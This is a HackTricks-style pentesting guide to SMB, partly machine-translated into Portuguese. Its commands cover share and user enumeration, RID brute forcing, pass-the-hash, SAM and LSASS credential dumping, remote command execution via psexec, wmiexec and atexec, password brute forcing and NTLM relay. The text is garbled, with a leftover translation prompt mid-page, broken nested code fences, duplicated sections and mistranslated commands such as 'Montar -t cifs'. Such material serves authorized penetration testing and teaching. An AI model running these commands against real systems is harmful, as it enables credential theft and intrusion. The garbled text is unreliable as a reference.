hacktricks/network-services-pentesting/pentesting-smb.md

# 139,445 - Pentesting SMB

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

## **Porta 139**

**NetBIOS** significa _Network Basic Input Output System_. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres de comprimento e geralmente é separado do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela **Porta TCP 139**. (extraído daqui: [aqui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
```
## Porta 445

Enquanto a porta 139 é conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block, na linguagem moderna, também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.

Por exemplo, no Windows, o SMB pode ser executado diretamente sobre TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você apontou, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP\*\*.\*\* (extraído da [qui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB

O Server Message Block (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros, além de outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais recentes podem se comunicar facilmente com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.\
Com o projeto de software livre **Samba**, também existe uma solução que permite o uso do **SMB no Linux** e nas distribuições Unix e, portanto, a comunicação entre plataformas via SMB.

Um servidor SMB pode fornecer **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **precisa** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor.

### Compartilhamento IPC$

Do livro _**Network Security Assessment 3rd edition**_

Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de named pipes. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:

* Informações do sistema operacional
* Detalhes do domínio pai
* Uma lista de usuários e grupos locais
* Detalhes dos compartilhamentos SMB disponíveis
* A política de segurança efetiva do sistema

## O que é NTLM

Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusar dele, encontrará muito interessante esta página sobre **NTLM**, onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele**:

{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}

## **Enumeração do Servidor**

### **Escaneie** uma rede em busca de hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Versão do servidor SMB

Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:

* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Ou este script:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Pesquisar exploit**

To search for exploits, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These platforms provide a collection of known vulnerabilities and associated exploits that can be used during penetration testing. By searching for specific vulnerabilities related to the target network service, you can find relevant exploits that can be used to gain unauthorized access or perform other malicious activities. It is important to note that the use of exploits should only be done with proper authorization and for legitimate security testing purposes.
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Possíveis** Credenciais

| **Nome de usuário(s)** | **Senhas comuns**                         |
| --------------------- | ----------------------------------------- |
| _(em branco)_         | _(em branco)_                             |
| convidado             | _(em branco)_                             |
| Administrador, admin  | _(em branco)_, senha, administrador, admin |
| arcserve              | arcserve, backup                          |
| tivoli, tmersrvd      | tivoli, tmersrvd, admin                   |
| backupexec, backup    | backupexec, backup, arcada                |
| teste, laboratório, demonstração | senha, teste, laboratório, demonstração |

### Informações do Ambiente SMB

### Obter Informações
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerar Usuários, Grupos e Usuários Logados


# Essas informações já devem ter sido coletadas usando o enum4linux e enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Enumerar usuários locais
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
O seguinte é conteúdo de um livro de hacking sobre técnicas de hacking. O seguinte conteúdo é do arquivo network-services-pentesting/pentesting-smb.md. Traduza o texto relevante em inglês para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Também não adicione nada extra além da tradução e da sintaxe markdown.
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerar usuários locais
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts nome_do_host.local
run
```

### **Enumerating LSARPC and SAMR rpcclient**

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}

### GUI connection from linux

#### In the terminal:

`xdg-open smb://cascade.htb/`

#### In file browser window (nautilus, thunar, etc)

`smb://friendzone.htb/general/`

## Shared Folders Enumeration

### List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.

```bash
```markdown
# smbclient --no-pass -L //<IP> # Usuário nulo
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT

# smbmap -H <IP> [-P <PORT>] # Usuário nulo
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # Credenciais
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # Lista recursiva

# crackmapexec smb <IP> -u '' -p '' --shares # Usuário nulo
crackmapexec smb <IP> -u 'username' -p 'password' --shares # Usuário convidado
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # Usuário convidado
```
```

### **Connect/List a shared folder**

```bash
#Conectar usando smbclient
smbclient --no-pass //<IP>/<Pasta>
smbclient -U 'nome_de_usuário[%senha]' -L [--pw-nt-hash] //<IP> #Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
#Use --no-pass -c 'recurse;ls' para listar recursivamente com smbclient

#Listar com smbmap, sem especificar a pasta lista tudo
smbmap [-u "nome_de_usuário" -p "senha"] -R [Pasta] -H <IP> [-P <PORTA>] # Lista recursiva
smbmap [-u "nome_de_usuário" -p "senha"] -r [Pasta] -H <IP> [-P <PORTA>] # Lista não recursiva
smbmap -u "nome_de_usuário" -p "<NT>:<LM>" [-r/-R] [Pasta] -H <IP> [-P <PORTA>] # Pass-the-Hash
```

### **Manually enumerate windows shares and connect to them**

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON

(Common share names from _**Network Security Assessment 3rd edition**_)

You can try to connect to them by using the following command

```bash
```markdown
# Pentesting SMB

## Conexão de sessão nula para se conectar a um compartilhamento do Windows
```
`smbclient -U '%' -N \\\\<IP>\\<SHARE>`

```markdown
## Conexão autenticada para se conectar a um compartilhamento do Windows (será solicitada uma senha)
```
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>`
```

or this script (using a null session)

```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] é possível criar uma sessão nula para $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```

examples

```bash
```markdown
# Pentesting SMB

## Enumerating SMB Shares

To enumerate SMB shares, you can use the `smbclient` tool. Here are a couple of examples:

1. Enumerating a non-existent share:

```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # retorna NT_STATUS_BAD_NETWORK_NAME
```

2. Enumerating the ADMIN$ share:

```bash
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # retorna NT_STATUS_ACCESS_DENIED ou até mesmo estabelece uma sessão
```

In the first example, the command returns `NT_STATUS_BAD_NETWORK_NAME` if the share does not exist.

In the second example, the command returns `NT_STATUS_ACCESS_DENIED` if access to the ADMIN$ share is denied. However, it may also establish a session if access is granted.
```
```

### Mount a shared folder

```bash
```
Montar -t cifs //x.x.x.x/compartilhamento /mnt/compartilhamento
Montar -t cifs -o "username=usuário,password=senha" //x.x.x.x/compartilhamento /mnt/compartilhamento
```
```

### **Download files**

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

```bash
# Procurar um arquivo e baixar
sudo smbmap -R Pasta -H <IP> -A <NomeDoArquivo> -q # Procura o arquivo em modo recursivo e o baixa dentro de /usr/share/smbmap
```

```bash
# Baixar tudo
smbclient //<IP>/<compartilhamento>
> mask ""
> recurse
> prompt
> mget *
# Baixar tudo para o diretório atual
```

Commands:

* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine

(_Information from the manpage of smbclient_)

### Domain Shared Folders Search

* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****

```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data

O Snaffler.exe é uma ferramenta de pentesting que pode ser usada para explorar vulnerabilidades em serviços SMB (Server Message Block). O comando acima inicia o Snaffler em modo silencioso (-s) e especifica o domínio alvo como "domain.local" (-d domain.local). O resultado da exploração será salvo em um arquivo de log chamado "snaffler.log" (-o snaffler.log). Além disso, o nível de verbosidade foi definido como "data" (-v data), o que significa que informações detalhadas sobre os dados obtidos serão registradas.
```

* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`

```bash
```
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Compartilhamentos do Departamento'
```
```

Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.

{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}

## Read Registry

You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:

```bash
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```

```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```

## Post Exploitation

The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:

| **Setting**                 | **Description**                                                     |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes`          | Allow listing available shares in the current share?                |
| `read only = no`            | Forbid the creation and modification of files?                      |
| `writable = yes`            | Allow users to create and modify files?                             |
| `guest ok = yes`            | Allow connecting to the service without using a password?           |
| `enable privileges = yes`   | Honor privileges assigned to specific SID?                          |
| `create mask = 0777`        | What permissions must be assigned to the newly created files?       |
| `directory mask = 0777`     | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh`  | What script needs to be executed on the user's login?               |
| `magic script = script.sh`  | Which script should be executed when the script gets closed?        |
| `magic output = script.out` | Where the output of the magic script needs to be stored?            |

The command `smbstatus` gives information about the **server** and about **who is connected**.

## Authenticate using Kerberos

You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:

```bash
# Pentesting SMB

## Enumerating SMB Shares

To enumerate SMB shares on a target machine, you can use the `smbclient` command with the `--kerberos` option. For example, to enumerate the shares on the machine `ws01win10.domain.com`, you can run the following command:

```bash
smbclient --kerberos //ws01win10.domain.com/C$
```

## Enumerating RPC Services

To enumerate RPC services on a target machine, you can use the `rpcclient` command with the `-k` option. For example, to enumerate the RPC services on the machine `ws01win10.domain.com`, you can run the following command:

```bash
rpcclient -k ws01win10.domain.com
```

---

# Pentesting SMB

## Enumerando Compartilhamentos SMB

Para enumerar os compartilhamentos SMB em uma máquina de destino, você pode usar o comando `smbclient` com a opção `--kerberos`. Por exemplo, para enumerar os compartilhamentos na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:

```bash
smbclient --kerberos //ws01win10.domain.com/C$
```

## Enumerando Serviços RPC

Para enumerar os serviços RPC em uma máquina de destino, você pode usar o comando `rpcclient` com a opção `-k`. Por exemplo, para enumerar os serviços RPC na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:

```bash
rpcclient -k ws01win10.domain.com
```
```

## **Execute Commands**

### **crackmapexec**

crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:

```bash
```markdown
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Executar Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Executar cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Usando --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump do SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump de hashes do LSASS em memória
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Obter sessões
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Obter usuários logados
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerar os discos
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerar usuários
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #Enumerar grupos
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #Enumerar grupos locais
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Obter política de senha
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #Brute force de RID

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
```html
```
```

### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)

Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
# Se nenhuma senha for fornecida, será solicitada
./psexec.py [[domínio/]nome de usuário[:senha]@]<nome ou endereço do alvo>
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 # Pass-the-Hash
psexec \\192.168.122.66 -u Administrador -p 123456Ww
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```

Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**

### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
#Se nenhuma senha for fornecida, será solicitada
./wmiexec.py [[domínio/]nomeDeUsuário[:senha]@]<nomeDoAlvo ou endereço> #Solicitar senha
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
```

Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**

```bash
#Se nenhuma senha for fornecida, será solicitada
./dcomexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço>
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
```

### [AtExec](../windows-hardening/ntlm/atexec.md)

Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
./atexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço> "comando"
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
```

## Impacket reference

[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)

## **Bruteforce users credentials**

**This is not recommended, you could block an account if you exceed the maximum allowed tries**

```bash
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Obter nomes de usuário forçando a enumeração de RIDs e, em seguida, tentar forçar a senha para cada nome de usuário
```
```

## SMB relay attack

This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`

This happens with the functions:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)

### SMBTrap using MitMf

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)

## NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).

[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)

## HackTricks Automatic Commands

```
Protocolo_Nome: SMB    #Abreviação do Protocolo se houver.
Número_da_Porta:  137,138,139     #Separado por vírgula se houver mais de um.
Descrição_do_Protocolo: Server Message Block         #Abreviação do Protocolo Escrito por extenso

Entrada_1:
Nome: Notas
Descrição: Notas para SMB
Nota: |
Embora a porta 139 seja conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block, na linguagem moderna, também é conhecido como Common Internet File System. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.

#Esses são os comandos que eu executo sempre que vejo uma porta SMB aberta

Sem Credenciais
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

Com Credenciais
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entrada_2:
Nome: Enum4Linux
Descrição: Varredura SMB Geral
Comando: enum4linux -a {IP}

Entrada_3:
Nome: Varredura Nmap SMB 1
Descrição: Varredura de Vulnerabilidades SMB com Nmap
Comando: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entrada_4:
Nome: Varredura Nmap SMB 2
Descrição: Varredura de Vulnerabilidades SMB com Nmap (Menos Específica)
Comando: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entrada_5:
Nome: Força Bruta Hydra
Descrição: Necessita de Usuário
Comando: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entrada_6:
Nome: Enumeração SMB/SMB2 139/445 sem console mfs
Descrição: Enumeração SMB/SMB2 139/445 sem a necessidade de executar msfconsole
Nota: obtido de https://github.com/carlospolop/legion
Comando: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>